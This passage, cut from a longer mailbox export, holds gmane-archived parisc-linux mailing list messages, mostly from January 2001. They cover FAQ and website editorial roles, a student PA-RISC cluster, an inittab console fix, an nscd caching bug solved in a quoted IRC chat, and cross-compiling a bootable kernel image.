> to get to: http://parisc-linux.org/
> 
> A one line trailer might be useful:
> 
> See the website: http://parisc-linux.org/
> 
> -------------------------------
> 
> I don't see problems so much as too much work for too few
> hands, resulting in the technical side getting done first (as
> it must be a priority, lest the project be Yet Anither Dead
> Open Source Project [tm]).  Pollyanna would say they were
> 'opportunities'.
> 
> I can file a good bug report describing what I see -- I can
> follow documentation with the best of them -- I stand in awe
> of Alex, Grant and the rest of the coding team on the depth of
> their knowledge in getting the port up and running.
> 
> So my question is: How may one contribute at an editorial and
> project infrastructure level?  I wish to do so, and bet others
> on the list do too.
> 
> -- Russ Herrold
> 
> ---------------------------------------------------------------------------
> To unsubscribe: send e-mail to parisc-linux-request@thepuffingroup.com with
> `unsubscribe' as the subject.

-- 
Jane Vinet, Director Professional Services/Canadian Operations
Linuxcare, Inc. 613.562.9260 (tel), 613.562.9700 fax
jvinet@linuxcare.com, http://www.linuxcare.com/
Linuxcare, Support for the Revolution


From - Thu Nov 08 21:15:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell Jr." <patofiero@home.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ftp, gcc, etc...
Date: Sat, 20 Jan 2001 13:00:04 -0500
Organization: AOMI
Lines: 55
Approved: news@gmane.org
Message-ID: <3A69D224.E13F3BD2@home.com>
References: <14688115.3188896052@chem42.chem.macalester.edu>
Reply-To: carlos@baldric.uwo.ca
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619565 10998 80.91.229.3 (22 Nov 2014 01:26:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:26:05 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com, paul@baldric.uwo.ca
To: jcarlson@macalester.edu
Original-X-From: patofiero@home.com  Sat Jan 20 10:53:43 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id KAA13947
	for <parisc-linux@puffin.external.hp.com>; Sat, 20 Jan 2001 10:53:42 -0700
Original-Received: (qmail 23512 invoked by uid 15267); 20 Jan 2001 17:57:30 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 23499 invoked from network); 20 Jan 2001 17:57:30 -0000
Original-Received: from cr821974-a.lndn1.on.wave.home.com (HELO megatonmonkey.net) (root@24.112.53.173)
  by mailserv2.iuinc.com with SMTP; 20 Jan 2001 17:57:30 -0000
Original-Received: from home.com (IDENT:carlos@systemhalted [192.168.1.1])
	by megatonmonkey.net (8.11.0/8.11.0) with ESMTP id f0KI7jI05974;
	Sat, 20 Jan 2001 13:07:46 -0500
Original-Sender: carlos@megatonmonkey.net
X-Mailer: Mozilla 4.75 [en] (X11; U; Linux 2.2.16-22 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:9302

Josiah,

Hello parisc-linux! 
(Yes, this is my first time posting to this list, to thank the hard
workers and show you that something is coming out of your work!)

My colleagues and I are building a 48 Node (715/50) PA-RISC cluster
(http://baldric.uwo.ca).
We are an Undergraduate Supercomputing intiative and we've been building
clusters for the past two years, so if you would like to get in contact
with us, we would be more than willing to help you out.

Our original cluster setup had been using HPUX + MPI, but the
combination was both painful and difficult.
Thanks to the wonderful people on this mailing list, we have begun to
switch our machines over to a softer more friendlier linux.

> I was curious as to which package includes ftp as one of it's binaries.

I would recommend just grabbing the ftp source and compiling it.
An excellent exercise in XC or native compilation on a HPPA box.
One day you will be forced to compile something.

We have two XC boxes PIII/450 and PIII/700 doing compiles around the
clock ;)
 
> which packages do I need to install on the hp machine to allow configure,
> make, gcc, etc... to work together?

The standard NFS tarball has all the tools you'll need.
I can run down what it is that you would need exactly, since we already
have our cluster running 2 nodes and compiling using MPICH 1.2.1.

We usually just:
1. rboot the machine.
2. init scripts format and copy the tarball to the drive.
3. second set of scripts configure.
4. reboot.
5. new node functional.

For those of you who doubt it... I did natively compile MPICH 1.2.1 and
it worked :P
(And if Paul is reading this, don't reboot "puff"... I don't care if we
forgot to compile in unix socket support!;)

Just contact me at carlos@baldric.uwo.ca

Cheers,
Carlos O'Donell Jr.
-----------------------------
Baldric Project
University of Western Ontario
http://www.baldric.uwo.ca
-----------------------------


From - Thu Nov 08 21:15:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Administrivia and a question
Date: Sat, 20 Jan 2001 11:52:10 -0800
Lines: 64
Approved: news@gmane.org
Message-ID: <200101201952.LAA17191@milano.cup.hp.com>
References: <Pine.LNX.4.30.0101200918470.28153-100000@swampfox.owlriver.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619565 11002 80.91.229.3 (22 Nov 2014 01:26:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:26:05 +0000 (UTC)
Cc: Jane Vinet <jvinet@linuxcare.com>, parisc-linux@thepuffingroup.com
To: R P Herrold <herrold@owlriver.com>
Original-X-From: grundler@cup.hp.com  Sat Jan 20 12:46:32 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id MAA14845
	for <parisc-linux@puffin.external.hp.com>; Sat, 20 Jan 2001 12:46:31 -0700
Original-Received: (qmail 26259 invoked by uid 15267); 20 Jan 2001 19:50:18 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 26185 invoked from network); 20 Jan 2001 19:50:14 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 20 Jan 2001 19:50:14 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel3.hp.com (Postfix) with ESMTP
	id 033DC79A; Sat, 20 Jan 2001 11:50:14 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id LAA17191;
	Sat, 20 Jan 2001 11:52:11 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Sat, 20 Jan 2001 09:39:26 PST."
             <Pine.LNX.4.30.0101200918470.28153-100000@swampfox.owlriver.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:9303


Russ,
We *need* editorial help in a serious way.
Give us some time to figure this out.  This project has had some rough
moments in the past two years and I don't think we want to rock the
boat on this issue(s) either.

Here are what I see as some of the issues:

To become a document maintainer:
o demonstrate they can be "trusted" or have existing folks vouch for them
o *user* of parisc-linux  (a vested interest in the information)
o Understand the *usage*  (not necessarily the underlying technology)

parisc-linux.org:
o clarify process for determining who should have CVS access
o find a maintainer for the document "ownership list" (Russ? :^)
o simple html interface so anyone can update web site
o timely, regular updates CVS repository -> Website

Of the above, I think parisc-linux team needs to decide on a process
first. It's been very informal up to now.  We will not give CVS access
to anyone who asks for it since it's clear that won't work and isn't
"the linux way" (to paraphrase the HP slogan).  We do need to
"scrub" the current CVS access of people who are no longer active
contributors.

I'm certain that over the course of this year, the binutils/gcc/glibc/linux
CVS repositories are going to be less active and the website will
see explosive activity. Primarily because most of the technical
developement will move out of our "sandbox" and into the "upstream"
sources. However, for user documents, I expect parisc-linux.org to
be the focal point.

Jane can help setup the details for you (and others) to contribute.
(thanks jane! You *are* doing a great job despite recent difficulties!)

R P Herrold wrote:
> 1. The submission got me thinking.  I just examined
> http://parisc-linux.org/faq.html --- and there is no listing
> of a formal role-address for an 'editor' of FAQ content.  So
> it will probably be lost in the essectially unsearchable
> archive at:

I don't agree the FAQ should become a repository for *all* "gems"
posted to parisc-linux mailing list. Our FAQ should be a starting point
for people with questions about parisc-linux. Not a database of trivia.
We have recipes and other documents the FAQ can point to provide details
about how to set things up, or workarounds for broken things.

> So my question is: How may one contribute at an editorial and
> project infrastructure level?  I wish to do so, and bet others
> on the list do too.

Agreed. Russ, is there a specific document you'd like to work on?
(eg FAQ or one of the recipes)

thanks all,
grant

Grant Grundler
Unix Systems Enablement Lab
+1.408.447.7253


From - Thu Nov 08 21:15:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Administrivia and a question was: [parisc-linux] Question for the 
 Faq
Date: Sat, 20 Jan 2001 13:46:27 -0700
Lines: 79
Approved: news@gmane.org
Message-ID: <20010120204627.95A4937C8D@carmen.fc.hp.com>
References: <Pine.LNX.4.30.0101200918470.28153-100000@swampfox.owlriver.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619565 11005 80.91.229.3 (22 Nov 2014 01:26:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:26:05 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: R P Herrold <herrold@owlriver.com>
Original-X-From: taggart@carmen.fc.hp.com  Sat Jan 20 13:40:50 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id NAA16100
	for <parisc-linux@puffin.external.hp.com>; Sat, 20 Jan 2001 13:40:49 -0700
Original-Received: (qmail 8747 invoked by uid 15267); 20 Jan 2001 20:44:33 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 8740 invoked from network); 20 Jan 2001 20:44:32 -0000
Original-Received: from atlrel2.hp.com (156.153.255.202)
  by mailserv2.iuinc.com with SMTP; 20 Jan 2001 20:44:32 -0000
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.1.51.72])
	by atlrel2.hp.com (Postfix) with ESMTP
	id 7584216C9; Sat, 20 Jan 2001 15:44:32 -0500 (EST)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP
	id 95A4937C8D; Sat, 20 Jan 2001 13:46:27 -0700 (MST)
X-Mailer: exmh version 2.2 06/23/2000 (debian 2.2-1) with nmh-1.0.4+dev
In-Reply-To: Message from R P Herrold <herrold@owlriver.com> 
   of "Sat, 20 Jan 2001 09:39:26 EST." <Pine.LNX.4.30.0101200918470.28153-100000@swampfox.owlriver.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:9304


R P Herrold writes...

> On Sat, 20 Jan 2001, Phillip D. Beal wrote:
> 
> > I thought I'd post this to be added to the faq, as I was stumped on this
> > problem for a while, and I think some people might hit the same problem.
> 
> <snip good 'hint and kink type' contribution>
> 
> 1. The submission got me thinking.  I just examined
> http://parisc-linux.org/faq.html --- and there is no listing
> of a formal role-address for an 'editor' of FAQ content.  So
> it will probably be lost in the essectially unsearchable
> archive at:
> http://puffin.external.hp.com/mailing-lists/parisc-linux/

Dann Frazier is in the process of setting up a bug tracking system. Actually 
the BTS is setup but is dependent on the creation of mailing lists for each 
category in the BTS. We have already proposed a "website" category but perhaps 
a "FAQ" category would be useful too. Once this is done you'll have a place to 
direct feedback and contributions for all aspects of the port. Hopefully we'll 
have this setup this week.

> 2, I was going to address the question of who is responsible
> for making sure these gems to not get lost to the
> administratative contact on the mailing list,

It's informal right now but the BTS should help make it better.

> so I checked
> http://parisc-linux.org/lists.html -- no mention of the
> role-address for parisc-linux-owner@thepuffingroup.com or
> owner-parisc-linux@thepuffingroup.com.

We are going to be moving all the mailing lists to Mailman and each list will 
have an owner address once that happens.

> Of course the first entry on that page, for the announce
> archive is a dead link ...
> http://parisc.thepuffingroup.com/mailing-lists/parisc-linux-announce

That's only because no one has sent anything to the announce list in the Year 
2001 :) The move to mailman/pipermail will also fix that.

> 3. So I checked the mailer headers -- nope- the list
> namagement headers are not there, of this sort from another
> list:

Mailman wins here too.

> 4.  In getting to the project webpages, I pasted
> parisc-linux-owner@thepuffingroup.com, and editted that down
> to www.thepuffingroup.com -- which went through two redirects
> to get to: http://parisc-linux.org/
> 
> A one line trailer might be useful:
> 
> See the website: http://parisc-linux.org/

Hopefully this is something Jane can have done.

> I can file a good bug report describing what I see -- I can

Please do so when the BTS is announced.

> So my question is: How may one contribute at an editorial and
> project infrastructure level?  I wish to do so, and bet others
> on the list do too.

Grant answered this one.

HTH,

-- 
Matt Taggart        Linux Development Lab
taggart@fc.hp.com   HP Linux Systems Operation



From - Thu Nov 08 21:15:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Question for the Faq
Date: Sat, 20 Jan 2001 14:03:23 -0700
Lines: 28
Approved: news@gmane.org
Message-ID: <20010120210323.408B737C8D@carmen.fc.hp.com>
References: <20010120082648.A18988@athena.louisville.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619566 11008 80.91.229.3 (22 Nov 2014 01:26:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:26:06 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: "Phillip D. Beal" <pdbeal@louisville.edu>
Original-X-From: taggart@carmen.fc.hp.com  Sat Jan 20 13:57:41 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id NAA16662
	for <parisc-linux@puffin.external.hp.com>; Sat, 20 Jan 2001 13:57:41 -0700
Original-Received: (qmail 23623 invoked by uid 15267); 20 Jan 2001 21:01:27 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 23616 invoked from network); 20 Jan 2001 21:01:27 -0000
Original-Received: from atlrel2.hp.com (156.153.255.202)
  by mailserv2.iuinc.com with SMTP; 20 Jan 2001 21:01:27 -0000
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.1.51.72])
	by atlrel2.hp.com (Postfix) with ESMTP
	id BC1EC1736; Sat, 20 Jan 2001 16:01:26 -0500 (EST)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP
	id 408B737C8D; Sat, 20 Jan 2001 14:03:23 -0700 (MST)
X-Mailer: exmh version 2.2 06/23/2000 (debian 2.2-1) with nmh-1.0.4+dev
In-Reply-To: Message from "Phillip D. Beal" <pdbeal@louisville.edu> 
   of "Sat, 20 Jan 2001 08:26:48 EST." <20010120082648.A18988@athena.louisville.edu> 
Xref: news.gmane.org gmane.linux.ports.parisc:9305


"Phillip D. Beal" writes...

> Hey,
> 
> I thought I'd post this to be added to the faq, as I was stumped on this
> problem for a while, and I think some people might hit the same problem.
> 
> Q: The system boots up on the sTI Console but no "login:" prompt appears,
> what do I do?
> 
> A: Uncomment the tty0 in /etc/inittab.
> 
> Just a thought....I spent a couple of days trying to figure out why the
> console didn't completely work and I found that the tty's were commented
> out under /etc/inittab.  

Yes this was mentioned on the list before but failed to make it into the FAQ.

Added.

Thanks,

-- 
Matt Taggart        Linux Development Lab
taggart@fc.hp.com   HP Linux Systems Operation



From - Thu Nov 08 21:15:16 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Randolph Chung" <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] question about disk caching....
Date: Sat, 20 Jan 2001 21:47:55 -0700
Lines: 19
Approved: news@gmane.org
Message-ID: <20010120214755.D17256@tausq.org>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619566 11011 80.91.229.3 (22 Nov 2014 01:26:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:26:06 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: randolph@tausq.org  Sat Jan 20 21:44:47 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id VAA21054
	for <parisc-linux@puffin.external.hp.com>; Sat, 20 Jan 2001 21:44:47 -0700
Original-Received: (qmail 11308 invoked by uid 15267); 21 Jan 2001 04:48:36 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 11292 invoked from network); 21 Jan 2001 04:48:36 -0000
Original-Received: from phnxpop2.phnx.uswest.net (206.80.192.2)
  by mailserv2.iuinc.com with SMTP; 21 Jan 2001 04:48:36 -0000
Original-Received: (qmail 48732 invoked by uid 0); 21 Jan 2001 04:48:34 -0000
Original-Received: from bdslppp32.phnx.uswest.net (HELO gandalf.tausq.org) (216.160.217.32)
  by phnxpop2.phnx.uswest.net with SMTP; 21 Jan 2001 04:48:34 -0000
Original-Received: from randolph by gandalf.tausq.org with local (Exim 3.12 #1 (Debian))
	id 14KCPz-0005hK-00; Sat, 20 Jan 2001 21:47:55 -0700
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Xref: news.gmane.org gmane.linux.ports.parisc:9306

I got this with the latest kernel bits from cvs:

frodo:/etc# useradd -m randolph                                                 
frodo:/etc# passwd randolph                                                     
passwd: Unknown user randolph                                                   
frodo:/etc# sync                                                                
frodo:/etc# passwd randolph                                                     
Enter new UNIX password:                                                        

seems like a caching issue? This is booting entirely off a local SCSI
harddisk. Any ideas what might be causing this?

randolph
-- 
   @..@                                         http://www.TauSq.org/
  (----)
 ( >__< )
 ^^ ~~ ^^


From - Thu Nov 08 21:15:16 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Hudson <mhudson@home.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [Fwd: (no subject)]
Date: Sun, 21 Jan 2001 18:35:45 -0600
Organization: @Home Network
Lines: 20
Approved: news@gmane.org
Message-ID: <3A6B8061.B175A1D7@home.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619566 11016 80.91.229.3 (22 Nov 2014 01:26:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:26:06 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: mhudson@home.com  Sun Jan 21 17:29:47 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id RAA32416
	for <parisc-linux@puffin.external.hp.com>; Sun, 21 Jan 2001 17:29:41 -0700
Original-Received: (qmail 28818 invoked by uid 15267); 22 Jan 2001 00:33:16 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 28811 invoked from network); 22 Jan 2001 00:33:16 -0000
Original-Received: from femail5.sdc1.sfba.home.com (24.0.95.85)
  by mailserv2.iuinc.com with SMTP; 22 Jan 2001 00:33:16 -0000
Original-Received: from home.com ([24.3.245.88]) by femail5.sdc1.sfba.home.com
          (InterMail vM.4.01.03.00 201-229-121) with ESMTP
          id <20010122003315.FVHL18198.femail5.sdc1.sfba.home.com@home.com>
          for <parisc-linux@thepuffingroup.com>;
          Sun, 21 Jan 2001 16:33:15 -0800
X-Mailer: Mozilla 4.61 [en]C-AtHome0407  (Win98; U)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:9307



Bustayoass@aol.com wrote:
> 
> Hello,
>       I saw your post about your j210xc, and I was wondering if by
> chance
> you knew where I could get some manuals or troubleshooting references
> on a
> j210xc. When I power it up, it tests itself, and after a long while,
> it comes
> up with 8 yellow boxes at the bottom of the screen. I cannot type any
> commands, it only lets me change terminal options. I think that if I
> get into
> setup, I can configure it properly, but I don't know how to access it.
> If you
> can give me any help, I would greatly appreciate it.
>       Thanks,
>       Matt


From - Thu Nov 08 21:15:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] New XC available (was Re: glibc build failing)
Date: Mon, 22 Jan 2001 12:30:17 +1100 (EST)
Lines: 10
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0101221228460.13332-100000@front.linuxcare.com.au>
References: <20010117233700.B324F38D85@carmen.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619567 11018 80.91.229.3 (22 Nov 2014 01:26:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:26:07 +0000 (UTC)
Cc: Richard Hirst <rhirst@linuxcare.com>, parisc-linux@thepuffingroup.com
To: Matt Taggart <taggart@carmen.fc.hp.com>
Original-X-From: alan@linuxcare.com.au  Sun Jan 21 18:29:13 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id SAA00726
	for <parisc-linux@puffin.external.hp.com>; Sun, 21 Jan 2001 18:29:03 -0700
Original-Received: (qmail 17344 invoked by uid 15267); 22 Jan 2001 01:32:43 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 17302 invoked from network); 22 Jan 2001 01:32:42 -0000
Original-Received: from linuxcare.com.au (HELO front.linuxcare.com.au) (203.29.91.49)
  by mailserv2.iuinc.com with SMTP; 22 Jan 2001 01:32:42 -0000
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id MAA18230;
	Mon, 22 Jan 2001 12:30:17 +1100
In-Reply-To: <20010117233700.B324F38D85@carmen.fc.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:9308

On Wed, 17 Jan 2001, Matt Taggart wrote:

> Up till this merge we were still running bits from September 25th which didn't 
> have a "stable" number. So someone needs to make our glibc -O2 clean.

No, someone needs to fix gcc.  Investigating...

-- 
Linuxcare.  Support for the Revolution.


From - Thu Nov 08 21:15:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Randolph Chung" <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] question about disk caching.... (SOLVED!)
Date: Sun, 21 Jan 2001 19:51:37 -0700
Lines: 32
Approved: news@gmane.org
Message-ID: <20010121195137.G4546@tausq.org>
References: <20010120214755.D17256@tausq.org>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619567 11022 80.91.229.3 (22 Nov 2014 01:26:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:26:07 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: randolph@tausq.org  Sun Jan 21 19:48:33 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id TAA01461
	for <parisc-linux@puffin.external.hp.com>; Sun, 21 Jan 2001 19:48:32 -0700
Original-Received: (qmail 24676 invoked by uid 15267); 22 Jan 2001 02:52:19 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 24669 invoked from network); 22 Jan 2001 02:52:19 -0000
Original-Received: from phnxpop2.phnx.uswest.net (206.80.192.2)
  by mailserv2.iuinc.com with SMTP; 22 Jan 2001 02:52:19 -0000
Original-Received: (qmail 31025 invoked by uid 0); 22 Jan 2001 02:52:17 -0000
Original-Received: from bdslppp32.phnx.uswest.net (HELO gandalf.tausq.org) (216.160.217.32)
  by phnxpop2.phnx.uswest.net with SMTP; 22 Jan 2001 02:52:17 -0000
Original-Received: from randolph by gandalf.tausq.org with local (Exim 3.12 #1 (Debian))
	id 14KX4z-0001fm-00; Sun, 21 Jan 2001 19:51:37 -0700
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20010120214755.D17256@tausq.org>; from randolph@tausq.org on Sat, Jan 20, 2001 at 09:47:55PM -0700
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Xref: news.gmane.org gmane.linux.ports.parisc:9309

> I got this with the latest kernel bits from cvs:
[...]
> seems like a caching issue? This is booting entirely off a local SCSI
> harddisk. Any ideas what might be causing this?

many thanks for mkp for elucidating this.....

<mkp_> In your case it might be nscd that breaks things
<mkp_> Do you have it running?
<tausq> hrmm... good point, let me turn it off.. i see that nfsroot has it on by default
<mkp_> Name Service Caching Daeon
<mkp_> +m
<tausq> ah ha!
* tausq thinks mkp is onto something here..
<ggg> tausq: but would nscd affect local disk? (adduser/passwd prob)
<tausq> ggg: it may affect nss...
<ggg> nss? *sigh*
<mkp_> nscd caches getpwent() lookups, among other things
<ggg> ic
<tausq> indeed with nscd on, i get the problem, with it off everything seems to be ok
<mkp_> There we go
<tausq> good call mkp
<ggg> tausq: could you reply to your mail?
<tausq> sure, i'll just quote this irc conversation :)

randolph
-- 
   @..@                                         http://www.TauSq.org/
  (----)
 ( >__< )
 ^^ ~~ ^^


From - Thu Nov 08 21:15:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex deVries <adevries@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Creating a bootable image.
Date: Tue, 1 Jun 1999 09:27:26 -0400 (EDT)
Lines: 40
Approved: news@gmane.org
Message-ID: <Pine.LNX.3.96.990601092249.29097A-100000@devserv.devel.redhat.com>
References: <19990601091601.A6399@suse.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619567 11024 80.91.229.3 (22 Nov 2014 01:26:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:26:07 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Philipp Rumpf <prumpf@suse.de>
Original-X-From: adevries@redhat.com  Tue Jun  1 07:27:34 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id HAA08806
	for <parisc-linux@puffin.external.hp.com>; Tue, 1 Jun 1999 07:27:33 -0600
Original-Received: (qmail 29122 invoked by uid 15267); 1 Jun 1999 13:26:48 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 29115 invoked from network); 1 Jun 1999 13:26:48 -0000
Original-Received: from devserv.devel.redhat.com (adevries@207.175.42.156)
  by mailserv2.iuinc.com with SMTP; 1 Jun 1999 13:26:48 -0000
Original-Received: from localhost (adevries@localhost)
	by devserv.devel.redhat.com (8.8.7/8.8.7) with SMTP id JAA29375;
	Tue, 1 Jun 1999 09:27:26 -0400
X-Authentication-Warning: devserv.devel.redhat.com: adevries owned process doing -bs
X-Sender: adevries@devserv.devel.redhat.com
In-Reply-To: <19990601091601.A6399@suse.de>
Xref: news.gmane.org gmane.linux.ports.parisc:9310



On Tue, 1 Jun 1999, Philipp Rumpf wrote:

> > I'm mailing this because I'm not entirely sure what I'm doing is correct.
> Neither am I, but arch/parisc/hp/boot/README seems to say something different.

That file is actually from Jason Eckhardt's boot loader.  How do you think
it's incorrect?

> > The way I understand it, the kernel we cross compile on Linux is in fact
> > a broken ELF32 file, which doesn't really matter, because at this point we
> > don't need the kernel to have any loader information itself. 
> 
> I think we should build a binary image of the kernel (that is not ELF) like
> we do for x86.

You're right, raw binary should work just fine.

> > However, to actually boot you need IPL, which requires SOM linking, so
> > that much must be done on HPUX.
> This I do not understand. According to arch/parisc/hp/boot/README, the IPL is
> stored in a special binary format which we could generate from ELF like we
> do for the kernel image.

Hm.  Okay then.  So what we need to do is fix the cross compiling of
mkipl.  I'll have a look at this.

> > and it'll create a kernel and boot header that should just boot right
